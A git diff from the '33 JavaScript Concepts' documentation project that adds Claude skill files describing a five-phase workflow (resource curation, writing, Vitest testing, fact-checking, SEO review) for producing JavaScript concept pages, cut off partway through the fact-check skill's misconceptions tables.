diff --git a/.claude/CLAUDE.md b/.claude/CLAUDE.md
index a3b6e7d3..1e1d0f40 100644
--- a/.claude/CLAUDE.md
+++ b/.claude/CLAUDE.md
@@ -18,10 +18,22 @@ The project was recognized by GitHub as one of the **top open source projects of
```
33-js-concepts/
├── .claude/ # Claude configuration
-│ └── CLAUDE.md # Project context and guidelines
+│ ├── CLAUDE.md # Project context and guidelines
+│ └── skills/ # Custom skills for content creation
+│ ├── write-concept/ # Skill for writing concept documentation
+│ ├── fact-check/ # Skill for verifying technical accuracy
+│ ├── seo-review/ # Skill for SEO audits
+│ ├── test-writer/ # Skill for generating Vitest tests
+│ ├── resource-curator/ # Skill for curating external resources
+│ └── concept-workflow/ # Skill for end-to-end concept creation
├── .opencode/ # OpenCode configuration
-│ └── skill/ # Custom skills for content creation
-│ └── write-concept/ # Skill for writing concept documentation
+│ └── skill/ # Custom skills (mirrored from .claude/skills)
+│ ├── write-concept/ # Skill for writing concept documentation
+│ ├── fact-check/ # Skill for verifying technical accuracy
+│ ├── seo-review/ # Skill for SEO audits
+│ ├── test-writer/ # Skill for generating Vitest tests
+│ ├── resource-curator/ # Skill for curating external resources
+│ └── concept-workflow/ # Skill for end-to-end concept creation
├── docs/ # Mintlify documentation site
│ ├── docs.json # Mintlify configuration
│ ├── index.mdx # Homepage
@@ -46,7 +58,7 @@ The project was recognized by GitHub as one of the **top open source projects of
├── CODE_OF_CONDUCT.md # Community standards
├── LICENSE # MIT License
├── package.json # Project metadata
-├── opencode.json # OpenCode AI assistant configuration
+├── opencode.jsonc # OpenCode AI assistant configuration
└── github-image.png # Project banner image
```
@@ -398,7 +410,170 @@ Use the `/write-concept` skill when writing or improving concept documentation p
The skill includes detailed guidance on title optimization (50-60 chars), meta descriptions (150-160 chars), keyword placement, and featured snippet optimization.
-**Location:** `.opencode/skill/write-concept/SKILL.md`
+**Location:** `.claude/skills/write-concept/SKILL.md`
+
+### fact-check Skill
+
+Use the `/fact-check` skill when verifying the technical accuracy of concept documentation. This skill provides comprehensive methodology for:
+
+- **Code Verification**: Verify all code examples produce stated outputs, run project tests
+- **MDN/Spec Compliance**: Check claims against official MDN documentation and ECMAScript specification
+- **External Resource Checks**: Verify all links work and descriptions accurately represent content
+- **Misconception Detection**: Common JavaScript misconceptions to watch for (type coercion, async behavior, etc.)
+- **Test Integration**: Instructions for running `npm test` to verify code examples
+- **Report Template**: Structured format for documenting findings with severity levels
+
+**When to invoke:**
+- Before publishing a new concept page
+- After significant edits to existing pages
+- When reviewing community contributions
+- Periodic accuracy audits of existing content
+
+**What gets checked:**
+- Every code example for correct output
+- All MDN links for validity (not 404)
+- API descriptions match current MDN documentation
+- External resources (articles, videos) are accessible and accurate
+- Technical claims are correct and properly nuanced
+- No common JavaScript misconceptions stated as fact
+
+**Location:** `.claude/skills/fact-check/SKILL.md`
+
+### seo-review Skill
+
+Use the `/seo-review` skill when auditing concept pages for search engine optimization. This skill provides a focused audit checklist:
+
+- **27-Point Scoring System**: Systematic audit across 6 categories
+- **Title & Meta Optimization**: Character counts, keyword placement, compelling hooks
+- **Keyword Strategy**: Pre-built keyword clusters for all JavaScript concepts
+- **Featured Snippet Optimization**: Patterns for winning position zero in search results
+- **Internal Linking**: Audit of concept interconnections and anchor text quality
+- **Report Template**: Structured SEO audit report with prioritized fixes
+
+**When to invoke:**
+- Before publishing a new concept page
+- When optimizing underperforming pages
+- Periodic content audits
+- After major content updates
+
+**Scoring Categories (30 points total):**
+- Title Tag (4 points)
+- Meta Description (4 points)
+- Keyword Placement (5 points)
+- Content Structure (6 points)
+- Featured Snippets (4 points)
+- Internal Linking (4 points)
+- Technical SEO (3 points) — Single H1, keyword in slug, no orphan pages
+
+**Score Interpretation:**
+- 90-100% (27-30): Ready to publish
+- 75-89% (23-26): Minor optimizations needed
+- 55-74% (17-22): Several improvements needed
+- Below 55% (<17): Significant work required
+
+**Location:** `.claude/skills/seo-review/SKILL.md`
+
+### test-writer Skill
+
+Use the `/test-writer` skill when generating Vitest tests for code examples in concept documentation. This skill provides comprehensive methodology for:
+
+- **Code Extraction**: Identify and categorize all code examples (testable, DOM, error, conceptual)
+- **Test Patterns**: 16 patterns for converting different types of code examples to tests
+- **DOM Testing**: Separate file structure with jsdom environment for browser-specific code
+- **Source References**: Line number references linking tests to documentation
+- **Project Conventions**: File naming, describe block organization, assertion patterns
+- **Report Template**: Test coverage report documenting what was tested and skipped
+
+**When to invoke:**
+- After writing a new concept page
+- When adding new code examples to existing pages
+- When updating existing code examples
+- To verify documentation accuracy through automated tests
+
+**Test Categories:**
+- Basic value assertions (`console.log` → `expect`)
+- Error testing (`toThrow` patterns)
+- Async testing (Promises, async/await)
+- DOM testing (jsdom environment, events)
+- Floating point (toBeCloseTo)
+- Object/Array comparisons (toEqual)
+
+**File Structure:**
+```
+tests/{category}/{concept-name}/{concept-name}.test.js
+tests/{category}/{concept-name}/{concept-name}.dom.test.js (if DOM examples)
+```
+
+**Location:** `.claude/skills/test-writer/SKILL.md`
+
+### resource-curator Skill
+
+Use the `/resource-curator` skill when finding, evaluating, or maintaining external resources (articles, videos, courses) for concept pages. This skill provides:
+
+- **Audit Process**: Check existing links for accessibility, accuracy, and relevance
+- **Trusted Sources**: Prioritized lists of reputable article, video, and course sources
+- **Quality Criteria**: Must-have, should-have, and red flag checklists
+- **Description Writing**: Formula and examples for specific, valuable descriptions
+- **Publication Guidelines**: Date thresholds for different topic categories
+- **Report Template**: Audit report for documenting broken, outdated, and missing resources
+
+**When to invoke:**
+- Adding resources to a new concept page
+- Refreshing resources on existing pages
+- Auditing for broken or outdated links
+- Reviewing community-contributed resources
+- Periodic link maintenance
+
+**Resource Targets:**
+- Reference: 2-4 MDN links
+- Articles: 4-6 quality articles
+- Videos: 3-4 quality videos
+- Courses: 1-3 (optional)
+
+**Trusted Sources Include:**
+- Articles: javascript.info, MDN Guides, freeCodeCamp, 2ality, CSS-Tricks, dev.to
+- Videos: Fireship, Web Dev Simplified, Fun Fun Function, Traversy Media, JSConf
+- Courses: javascript.info, Piccalilli, freeCodeCamp, Frontend Masters
+
+**Location:** `.claude/skills/resource-curator/SKILL.md`
+
+### concept-workflow Skill
+
+Use the `/concept-workflow` skill for end-to-end creation of a complete concept page. This orchestrator skill coordinates all five specialized skills in optimal order:
+
+```
+Phase 1: resource-curator → Find quality external resources
+Phase 2: write-concept → Write the documentation page
+Phase 3: test-writer → Generate tests for code examples
+Phase 4: fact-check → Verify technical accuracy
+Phase 5: seo-review → Optimize for search visibility
+```
+
+**When to invoke:**
+- Creating a brand new concept page from scratch
+- Completely rewriting an existing concept page
+- When you want the full end-to-end workflow with all quality checks
+
+**What it orchestrates:**
+- Resource curation (2-4 MDN refs, 4-6 articles, 3-4 videos)
+- Complete concept page writing (1,500+ words)
+- Comprehensive test generation for all code examples
+- Technical accuracy verification with test execution
+- SEO audit targeting 90%+ score (24+/27)
+
+**Deliverables:**
+- `/docs/concepts/{concept-name}.mdx` — Complete documentation page
+- `/tests/{category}/{concept-name}/{concept-name}.test.js` — Test file
+- Updated `docs.json` navigation (if new concept)
+- Fact-check report
+- SEO audit report (score 24+/27)
+
+**Estimated Time:** 2-5 hours depending on concept complexity
+
+**Example prompt:**
+> "Create a complete concept page for 'hoisting' using the concept-workflow skill"
+
+**Location:** `.claude/skills/concept-workflow/SKILL.md`
## Maintainer
diff --git a/.claude/skills/concept-workflow/SKILL.md b/.claude/skills/concept-workflow/SKILL.md
new file mode 100644
index 00000000..0bcaf450
--- /dev/null
+++ b/.claude/skills/concept-workflow/SKILL.md
@@ -0,0 +1,513 @@
+---
+name: concept-workflow
+description: End-to-end workflow for creating complete JavaScript concept documentation, orchestrating all skills from research to final review
+---
+
+# Skill: Complete Concept Workflow
+
+Use this skill to create a complete, high-quality concept page from start to finish. This skill orchestrates all five specialized skills in the optimal order:
+
+1. **Resource Curation** — Find quality learning resources
+2. **Concept Writing** — Write the documentation page
+3. **Test Writing** — Create tests for code examples
+4. **Fact Checking** — Verify technical accuracy
+5. **SEO Review** — Optimize for search visibility
+
+## When to Use
+
+- Creating a brand new concept page from scratch
+- Completely rewriting an existing concept page
+- When you want a full end-to-end workflow with all quality checks
+
+**For partial tasks, use individual skills instead:**
+- Just adding resources? Use `resource-curator`
+- Just writing content? Use `write-concept`
+- Just adding tests? Use `test-writer`
+- Just verifying accuracy? Use `fact-check`
+- Just optimizing SEO? Use `seo-review`
+
+---
+
+## Workflow Overview
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ COMPLETE CONCEPT WORKFLOW │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ INPUT: Concept name (e.g., "hoisting", "event-loop", "promises") │
+│ │
+│ ┌──────────────────┐ │
+│ │ PHASE 1: RESEARCH │ │
+│ │ resource-curator │ Find MDN refs, articles, videos │
+│ └────────┬─────────┘ │
+│ ▼ │
+│ ┌──────────────────┐ │
+│ │ PHASE 2: WRITE │ │
+│ │ write-concept │ Create the documentation page │
+│ └────────┬─────────┘ │
+│ ▼ │
+│ ┌──────────────────┐ │
+│ │ PHASE 3: TEST │ │
+│ │ test-writer │ Generate tests for all code examples │
+│ └────────┬─────────┘ │
+│ ▼ │
+│ ┌──────────────────┐ │
+│ │ PHASE 4: VERIFY │ │
+│ │ fact-check │ Verify accuracy, run tests, check links │
+│ └────────┬─────────┘ │
+│ ▼ │
+│ ┌──────────────────┐ │
+│ │ PHASE 5: OPTIMIZE│ │
+│ │ seo-review │ SEO audit and final optimizations │
+│ └────────┬─────────┘ │
+│ ▼ │
+│ OUTPUT: Complete, tested, verified, SEO-optimized concept page │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Phase 1: Resource Curation
+
+**Skill:** `resource-curator`
+**Goal:** Gather high-quality external resources before writing
+
+### What to Do
+
+1. **Identify the concept category** (fundamentals, async, OOP, etc.)
+2. **Search for MDN references** — Official documentation
+3. **Find quality articles** — Target 4-6 from trusted sources
+4. **Find quality videos** — Target 3-4 from trusted creators
+5. **Evaluate each resource** — Check quality criteria
+6. **Write specific descriptions** — 2 sentences each
+7. **Format as Card components** — Ready to paste into the page
+
+### Deliverables
+
+- List of 2-4 MDN/reference links with descriptions
+- List of 4-6 article links with descriptions
+- List of 3-4 video links with descriptions
+- Optional: 1-2 courses or books
+
+### Quality Gates
+
+Before moving to Phase 2:
+- [ ] All links verified working (200 response)
+- [ ] All resources are JavaScript-focused
+- [ ] Descriptions are specific, not generic
+- [ ] Mix of beginner and advanced content
+
+---
+
+## Phase 2: Concept Writing
+
+**Skill:** `write-concept`
+**Goal:** Create the full documentation page
+
+### What to Do
+
+1. **Determine the category** for file organization
+2. **Create the frontmatter** (title, sidebarTitle, description)
+3. **Write the opening hook** — Question that draws readers in
+4. **Add opening code example** — Simple example in first 200 words
+5. **Write "What you'll learn" box** — 5-7 bullet points
+6. **Write main content sections:**
+ - What is [concept]? (with 40-60 word definition for featured snippet)
+ - Real-world analogy
+ - How it works (with diagrams)
+ - Code examples (multiple, progressive complexity)
+ - Common mistakes
+ - Edge cases
+7. **Add Key Takeaways** — 8-10 numbered points
+8. **Add Test Your Knowledge** — 5-6 Q&A accordions
+9. **Add Related Concepts** — 4 Cards linking to related topics
+10. **Add Resources** — Paste resources from Phase 1
+
+### Deliverables
+
+- Complete `.mdx` file at `/docs/concepts/{concept-name}.mdx`
+- File added to `docs.json` navigation (if new)
+
+### Quality Gates
+
+Before moving to Phase 3:
+- [ ] Frontmatter complete (title, sidebarTitle, description)
+- [ ] Opens with question hook
+- [ ] Code example in first 200 words
+- [ ] "What you'll learn" Info box present
+- [ ] All required sections present
+- [ ] Resources section complete
+- [ ] 1,500+ words
+
+---
+
+## Phase 3: Test Writing
+
+**Skill:** `test-writer`
+**Goal:** Create comprehensive tests for all code examples
+
+### What to Do
+
+1. **Scan the concept page** for all code examples
+2. **Categorize examples:**
+ - Testable (console.log, return values)
+ - DOM-specific (needs jsdom)
+ - Error examples (toThrow)
+ - Conceptual (skip)
+3. **Create test file** at `tests/{category}/{concept}/{concept}.test.js`
+4. **Create DOM test file** (if needed) at `tests/{category}/{concept}/{concept}.dom.test.js`
+5. **Write tests** for each code example with source line references
+6. **Run tests** to verify all pass
+
+### Deliverables
+
+- Test file: `tests/{category}/{concept-name}/{concept-name}.test.js`
+- DOM test file (if applicable): `tests/{category}/{concept-name}/{concept-name}.dom.test.js`
+- All tests passing
+
+### Quality Gates
+
+Before moving to Phase 4:
+- [ ] All testable code examples have tests
+- [ ] Source line references in comments
+- [ ] Tests pass: `npm test -- tests/{category}/{concept}/`
+- [ ] DOM tests in separate file with jsdom directive
+
+---
+
+## Phase 4: Fact Checking
+
+**Skill:** `fact-check`
+**Goal:** Verify technical accuracy of all content
+
+### What to Do
+
+1. **Verify code examples:**
+ - Run tests: `npm test -- tests/{category}/{concept}/`
+ - Check any untested examples manually
+ - Verify output comments match actual outputs
+
+2. **Verify MDN/spec claims:**
+ - Click all MDN links — verify they work
+ - Compare API descriptions to MDN
+ - Check ECMAScript spec for nuanced claims
+
+3. **Verify external resources:**
+ - Check all article/video links work
+ - Skim content for accuracy
+ - Verify descriptions match content
+
+4. **Audit technical claims:**
+ - Look for "always/never" statements
+ - Verify performance claims
+ - Check for common misconceptions
+
+5. **Generate fact-check report**
+
+### Deliverables
+
+- Fact-check report documenting:
+ - Code verification results
+ - Link check results
+ - Any issues found and fixes made
+
+### Quality Gates
+
+Before moving to Phase 5:
+- [ ] All tests passing
+- [ ] All MDN links valid
+- [ ] All external resources accessible
+- [ ] No technical inaccuracies found
+- [ ] No common misconceptions
+
+---
+
+## Phase 5: SEO Review
+
+**Skill:** `seo-review`
+**Goal:** Optimize for search visibility
+
+### What to Do
+
+1. **Audit title tag:**
+ - 50-60 characters
+ - Primary keyword in first half
+ - Ends with "in JavaScript"
+ - Contains compelling hook
+
+2. **Audit meta description:**
+ - 150-160 characters
+ - Starts with action word (Learn, Understand, Discover)
+ - Contains primary keyword
+ - Promises specific value
+
+3. **Audit keyword placement:**
+ - Keyword in title
+ - Keyword in description
+ - Keyword in first 100 words
+ - Keyword in at least one H2
+
+4. **Audit content structure:**
+ - Question hook opening
+ - Code in first 200 words
+ - "What you'll learn" box
+ - Short paragraphs
+
+5. **Audit featured snippet optimization:**
+ - 40-60 word definition after "What is" H2
+ - Question-format H2s
+ - Numbered steps for how-to content
+
+6. **Audit internal linking:**
+ - 3-5 related concepts linked
+ - Descriptive anchor text
+ - Related Concepts section complete
+
+7. **Calculate score** and fix any issues
+
+### Deliverables
+
+- SEO audit report with score (X/27)
+- All high-priority fixes implemented
+
+### Quality Gates
+
+Before marking complete:
+- [ ] Score 24+ out of 27 (90%+)
+- [ ] Title optimized
+- [ ] Meta description optimized
+- [ ] Keywords placed naturally
+- [ ] Featured snippet optimized
+- [ ] Internal links complete
+
+---
+
+## Complete Workflow Checklist
+
+Use this master checklist to track progress through all phases.
+
+```markdown
+# Concept Workflow: [Concept Name]
+
+**Started:** YYYY-MM-DD
+**Target Category:** {category}
+**File Path:** `/docs/concepts/{concept-name}.mdx`
+**Test Path:** `/tests/{category}/{concept-name}/`
+
+---
+
+## Phase 1: Resource Curation
+- [ ] MDN references found (2-4)
+- [ ] Articles found (4-6)
+- [ ] Videos found (3-4)
+- [ ] All links verified working
+- [ ] Descriptions written (specific, 2 sentences)
+- [ ] Resources formatted as Cards
+
+**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
+
+---
+
+## Phase 2: Concept Writing
+- [ ] Frontmatter complete
+- [ ] Opening hook written
+- [ ] Opening code example added
+- [ ] "What you'll learn" box added
+- [ ] Main content sections written
+- [ ] Key Takeaways added
+- [ ] Test Your Knowledge added
+- [ ] Related Concepts added
+- [ ] Resources pasted from Phase 1
+- [ ] Added to docs.json (if new)
+
+**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
+
+---
+
+## Phase 3: Test Writing
+- [ ] Code examples extracted and categorized
+- [ ] Test file created
+- [ ] DOM test file created (if needed)
+- [ ] All testable examples have tests
+- [ ] Source line references added
+- [ ] Tests run and passing
+
+**Test Results:** X passing, X failing
+
+**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
+
+---
+
+## Phase 4: Fact Checking
+- [ ] All tests passing
+- [ ] Code examples verified accurate
+- [ ] MDN links checked (X/X valid)
+- [ ] External resources checked (X/X valid)
+- [ ] Technical claims audited
+- [ ] No misconceptions found
+- [ ] Issues fixed
+
+**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
+
+---
+
+## Phase 5: SEO Review
+- [ ] Title tag optimized (50-60 chars)
+- [ ] Meta description optimized (150-160 chars)
+- [ ] Keywords placed correctly
+- [ ] Content structure verified
+- [ ] Featured snippet optimized
+- [ ] Internal links complete
+
+**SEO Score:** X/27 (X%)
+
+**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
+
+---
+
+## Final Status
+
+**All Phases Complete:** ⬜ No | ✅ Yes
+**Ready to Publish:** ⬜ No | ✅ Yes
+**Completed:** YYYY-MM-DD
+```
+
+---
+
+## Execution Instructions
+
+When executing this workflow, follow these steps:
+
+### Step 1: Initialize
+
+```markdown
+Starting concept workflow for: [CONCEPT NAME]
+
+Category: [fundamentals/functions-execution/web-platform/etc.]
+File: /docs/concepts/[concept-name].mdx
+Tests: /tests/[category]/[concept-name]/
+```
+
+### Step 2: Execute Each Phase
+
+For each phase:
+
+1. **Announce the phase:**
+ ```markdown
+ ## Phase X: [Phase Name]
+ Using skill: [skill-name]
+ ```
+
+2. **Load the skill** to get detailed instructions
+
+3. **Execute the phase** following the skill's methodology
+
+4. **Report completion:**
+ ```markdown
+ Phase X complete:
+ - [Deliverable 1]
+ - [Deliverable 2]
+ - Quality gates: ✅ All passed
+ ```
+
+5. **Move to next phase** only after quality gates pass
+
+### Step 3: Final Report
+
+After all phases complete:
+
+```markdown
+# Workflow Complete: [Concept Name]
+
+## Summary
+- **Concept Page:** `/docs/concepts/[concept-name].mdx`
+- **Test File:** `/tests/[category]/[concept-name]/[concept-name].test.js`
+- **Word Count:** X,XXX words
+- **Code Examples:** XX (XX tested)
+- **Resources:** X MDN, X articles, X videos
+
+## Quality Metrics
+- **Tests:** XX passing
+- **Fact Check:** ✅ All verified
+- **SEO Score:** XX/27 (XX%)
+
+## Files Created/Modified
+1. `/docs/concepts/[concept-name].mdx` (created)
+2. `/docs/docs.json` (updated navigation)
+3. `/tests/[category]/[concept-name]/[concept-name].test.js` (created)
+
+## Ready to Publish: ✅ Yes
+```
+
+---
+
+## Phase Dependencies
+
+Some phases can be partially parallelized, but the general flow should be:
+
+```
+Phase 1 (Resources) ──┐
+ ├──► Phase 2 (Writing) ──► Phase 3 (Tests) ──┐
+ │ │
+ │ ┌───────────────────────────────────┘
+ │ ▼
+ └──► Phase 4 (Fact Check) ──► Phase 5 (SEO)
+```
+
+- **Phase 1 before Phase 2:** Resources inform what to write
+- **Phase 2 before Phase 3:** Need content before writing tests
+- **Phase 3 before Phase 4:** Tests are part of fact-checking
+- **Phase 4 before Phase 5:** Fix accuracy issues before SEO polish
+
+---
+
+## Skill Reference
+
+| Phase | Skill | Purpose |
+|-------|-------|---------|
+| 1 | `resource-curator` | Find and evaluate external resources |
+| 2 | `write-concept` | Write the documentation page |
+| 3 | `test-writer` | Generate tests for code examples |
+| 4 | `fact-check` | Verify technical accuracy |
+| 5 | `seo-review` | Optimize for search visibility |
+
+Each skill has detailed instructions in its own `SKILL.md` file. Load the appropriate skill at each phase for comprehensive guidance.
+
+---
+
+## Time Estimates
+
+| Phase | Estimated Time | Notes |
+|-------|---------------|-------|
+| Phase 1: Resources | 15-30 min | Depends on availability of quality resources |
+| Phase 2: Writing | 1-3 hours | Depends on concept complexity |
+| Phase 3: Tests | 30-60 min | Depends on number of code examples |
+| Phase 4: Fact Check | 15-30 min | Most automated via tests |
+| Phase 5: SEO | 15-30 min | Mostly checklist verification |
+| **Total** | **2-5 hours** | For a complete concept page |
+
+---
+
+## Quick Start
+
+To start the workflow for a new concept:
+
+```
+1. Determine the concept name and category
+2. Load this skill (concept-workflow)
+3. Execute Phase 1: Load resource-curator, find resources
+4. Execute Phase 2: Load write-concept, write the page
+5. Execute Phase 3: Load test-writer, create tests
+6. Execute Phase 4: Load fact-check, verify accuracy
+7. Execute Phase 5: Load seo-review, optimize SEO
+8. Generate final report
+9. Commit changes
+```
+
+**Example prompt to start:**
+
+> "Create a complete concept page for 'hoisting' using the concept-workflow skill"
+
+This will trigger the full end-to-end workflow, creating a complete, tested, verified, and SEO-optimized concept page.
diff --git a/.claude/skills/fact-check/SKILL.md b/.claude/skills/fact-check/SKILL.md
new file mode 100644
index 00000000..e9fef411
--- /dev/null
+++ b/.claude/skills/fact-check/SKILL.md
@@ -0,0 +1,649 @@
+---
+name: fact-check
+description: Verify technical accuracy of JavaScript concept pages by checking code examples, MDN/ECMAScript compliance, and external resources to prevent misinformation
+---
+
+# Skill: JavaScript Fact Checker
+
+Use this skill to verify the technical accuracy of concept documentation pages for the 33 JavaScript Concepts project. This ensures we're not spreading misinformation about JavaScript.
+
+## When to Use
+
+- Before publishing a new concept page
+- After significant edits to existing content
+- When reviewing community contributions
+- When updating pages with new JavaScript features
+- Periodic accuracy audits of existing content
+
+## What We're Protecting Against
+
+- Incorrect JavaScript behavior claims
+- Outdated information (pre-ES6 patterns presented as current)
+- Code examples that don't produce stated outputs
+- Broken or misleading external resource links
+- Common misconceptions stated as fact
+- Browser-specific behavior presented as universal
+- Inaccurate API descriptions
+
+---
+
+## Fact-Checking Methodology
+
+Follow these five phases in order for a complete fact check.
+
+### Phase 1: Code Example Verification
+
+Every code example in the concept page must be verified for accuracy.
+
+#### Step-by-Step Process
+
+1. **Identify all code blocks** in the document
+2. **For each code block:**
+ - Read the code and any output comments (e.g., `// "string"`)
+ - Mentally execute the code or test in a JavaScript environment
+ - Verify the output matches what's stated in comments
+ - Check that variable names and logic are correct
+
+3. **For "wrong" examples (marked with ❌):**
+ - Verify they actually produce the wrong/unexpected behavior
+ - Confirm the explanation of why it's wrong is accurate
+
+4. **For "correct" examples (marked with ✓):**
+ - Verify they work as stated
+ - Confirm they follow current best practices
+
+5. **Run project tests:**
+ ```bash
+ # Run all tests
+ npm test
+
+ # Run tests for a specific concept
+ npm test -- tests/fundamentals/call-stack/
+ npm test -- tests/fundamentals/primitive-types/
+ ```
+
+6. **Check test coverage:**
+ - Look in `/tests/{category}/{concept-name}/`
+ - Verify tests exist for major code examples
+ - Flag examples without test coverage
+
+#### Code Verification Checklist
+
+| Check | How to Verify |
+|-------|---------------|
+| `console.log` outputs match comments | Run code or trace mentally |
+| Variables are correctly named/used | Read through logic |
+| Functions return expected values | Trace execution |
+| Async code resolves in stated order | Understand event loop |
+| Error examples actually throw | Test in try/catch |
+| Array/object methods return correct types | Check MDN |
+| `typeof` results are accurate | Test common cases |
+| Strict mode behavior noted if relevant | Check if example depends on it |
+
+#### Common Output Mistakes to Catch
+
+```javascript
+// Watch for these common mistakes:
+
+// 1. typeof null
+typeof null // "object" (not "null"!)
+
+// 2. Array methods that return new arrays vs mutate
+const arr = [1, 2, 3]
+arr.push(4) // Returns 4 (length), not the array!
+arr.map(x => x*2) // Returns NEW array, doesn't mutate
+
+// 3. Promise resolution order
+Promise.resolve().then(() => console.log('micro'))
+setTimeout(() => console.log('macro'), 0)
+console.log('sync')
+// Output: sync, micro, macro (NOT sync, macro, micro)
+
+// 4. Comparison results
+[] == false // true
+[] === false // false
+![] // false (empty array is truthy!)
+
+// 5. this binding
+const obj = {
+ name: 'Alice',
+ greet: () => console.log(this.name) // undefined! Arrow has no this
+}
+```
+
+---
+
+### Phase 2: MDN Documentation Verification
+
+All claims about JavaScript APIs, methods, and behavior should align with MDN documentation.
+
+#### Step-by-Step Process
+
+1. **Check all MDN links:**
+ - Click each MDN link in the document
+ - Verify the link returns 200 (not 404)
+ - Confirm the linked page matches what's being referenced
+
+2. **Verify API descriptions:**
+ - Compare method signatures with MDN
+ - Check parameter names and types
+ - Verify return types
+ - Confirm edge case behavior
+
+3. **Check for deprecated APIs:**
+ - Look for deprecation warnings on MDN
+ - Flag any deprecated methods being taught as current
+
+4. **Verify browser compatibility claims:**
+ - Cross-reference with MDN compatibility tables
+ - Check Can I Use for broader support data
+
+#### MDN Link Patterns
+
+| Content Type | MDN URL Pattern |
+|--------------|-----------------|
+| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |
+| Global Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |
+| Statements | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/{Statement}` |
+| Operators | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/{Operator}` |
+| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |
+
+#### What to Verify Against MDN
+
+| Claim Type | What to Check |
+|------------|---------------|
+| Method signature | Parameters, optional params, return type |
+| Return value | Exact type and possible values |
+| Side effects | Does it mutate? What does it affect? |
+| Exceptions | What errors can it throw? |
+| Browser support | Compatibility tables |
+| Deprecation status | Any deprecation warnings? |
+
+---
+
+### Phase 3: ECMAScript Specification Compliance
+
+For nuanced JavaScript behavior, verify against the ECMAScript specification.
+
+#### When to Check the Spec
+
+- Edge cases and unusual behavior
+- Claims about "how JavaScript works internally"
+- Type coercion rules
+- Operator precedence
+- Execution order guarantees
+- Claims using words like "always", "never", "guaranteed"
+
+#### How to Navigate the Spec
+
+The ECMAScript specification is at: https://tc39.es/ecma262/
+
+| Concept | Spec Section |
+|---------|--------------|
+| Type coercion | Abstract Operations (7.1) |
+| Equality | Abstract Equality Comparison (7.2.14), Strict Equality (7.2.15) |
+| typeof | The typeof Operator (13.5.3) |
+| Objects | Ordinary and Exotic Objects' Behaviours (10) |
+| Functions | ECMAScript Function Objects (10.2) |
+| this binding | ResolveThisBinding (9.4.4) |
+| Promises | Promise Objects (27.2) |
+| Iteration | Iteration (27.1) |
+
+#### Spec Verification Examples
+
+```javascript
+// Claim: "typeof null returns 'object' due to a bug"
+// Spec says: typeof null → "object" (Table 41)
+// Historical context: This is a known quirk from JS 1.0
+// Verdict: ✓ Correct, though calling it a "bug" is slightly informal
+
+// Claim: "Promises always resolve asynchronously"
+// Spec says: Promise reaction jobs are enqueued (27.2.1.3.2)
+// Verdict: ✓ Correct - even resolved promises schedule microtasks
+
+// Claim: "=== is faster than =="
+// Spec says: Nothing about performance
+// Verdict: ⚠️ Needs nuance - this is implementation-dependent
+```
+
+---
+
+### Phase 4: External Resource Verification
+
+All external links (articles, videos, courses) must be verified.
+
+#### Step-by-Step Process
+
+1. **Check link accessibility:**
+ - Click each external link
+ - Verify it loads (not 404, not paywalled)
+ - Note any redirects to different URLs
+
+2. **Verify content accuracy:**
+ - Skim the resource for obvious errors
+ - Check it's JavaScript-focused (not C#, Python, Java)
+ - Verify it's not teaching anti-patterns
+
+3. **Check publication date:**
+ - For time-sensitive topics (async, modules, etc.), prefer recent content
+ - Flag resources from before 2015 for ES6+ topics
+
+4. **Verify description accuracy:**
+ - Does our description match what the resource actually covers?
+ - Is the description specific (not generic)?
+
+#### External Resource Checklist
+
+| Check | Pass Criteria |
+|-------|---------------|
+| Link works | Returns 200, content loads |
+| Not paywalled | Free to access (or clearly marked) |
+| JavaScript-focused | Not primarily about other languages |
+| Not outdated | Post-2015 for modern JS topics |
+| Accurate description | Our description matches actual content |
+| No anti-patterns | Doesn't teach bad practices |
+| Reputable source | From known/trusted creators |
+
+#### Red Flags in External Resources
+
+- Uses `var` everywhere for ES6+ topics
+- Uses callbacks for content about Promises/async
+- Teaches jQuery as modern DOM manipulation
+- Contains factual errors about JavaScript
+- Video is >2 hours without timestamp links
+- Content is primarily about another language
+- Uses deprecated APIs without noting deprecation
+
+---
+
+### Phase 5: Technical Claims Audit
+
+Review all prose claims about JavaScript behavior.
+
+#### Claims That Need Verification
+
+| Claim Type | How to Verify |
+|------------|---------------|
+| Performance claims | Need benchmarks or caveats |
+| Browser behavior | Specify which browsers, check MDN |
+| Historical claims | Verify dates/versions |
+| "Always" or "never" statements | Check for exceptions |
+| Comparisons (X vs Y) | Verify both sides accurately |
+
+#### Red Flags in Technical Claims
+
+- "Always" or "never" without exceptions noted
+- Performance claims without benchmarks
+- Browser behavior claims without specifying browsers
+- Comparisons that oversimplify differences
+- Historical claims without dates
+- Claims about "how JavaScript works" without spec reference
+
+#### Examples of Claims to Verify
+
+```markdown
+❌ "async/await is always better than Promises"
+→ Verify: Not always - Promise.all() is better for parallel operations
+
+❌ "JavaScript is an interpreted language"
+→ Verify: Modern JS engines use JIT compilation
+
+❌ "Objects are passed by reference"
+→ Verify: Technically "passed by sharing" - the reference is passed by value
+
+❌ "=== is faster than =="
+→ Verify: Implementation-dependent, not guaranteed by spec
+
+✓ "JavaScript is single-threaded"
+→ Verify: Correct for the main thread (Web Workers are separate)
+
+✓ "Promises always resolve asynchronously"
+→ Verify: Correct per ECMAScript spec
+```
+
+---
+
+## Common JavaScript Misconceptions
+
+Watch for these misconceptions being stated as fact.
+
+### Type System Misconceptions
+
+| Misconception | Reality | How to Verify |
+|---------------|---------|---------------|
+| `typeof null === "object"` is intentional | It's a bug from JS 1.0 that can't be fixed for compatibility | Historical context, TC39 discussions |
+| JavaScript has no types | JS is dynamically typed, not untyped | ECMAScript spec defines types |
+| `==` is always wrong | `== null` checks both null and undefined, has valid uses | Many style guides allow this pattern |
+| `NaN === NaN` is false "by mistake" | It's intentional per IEEE 754 floating point spec | IEEE 754 standard |
+
+### Function Misconceptions
+
+| Misconception | Reality | How to Verify |
+|---------------|---------|---------------|
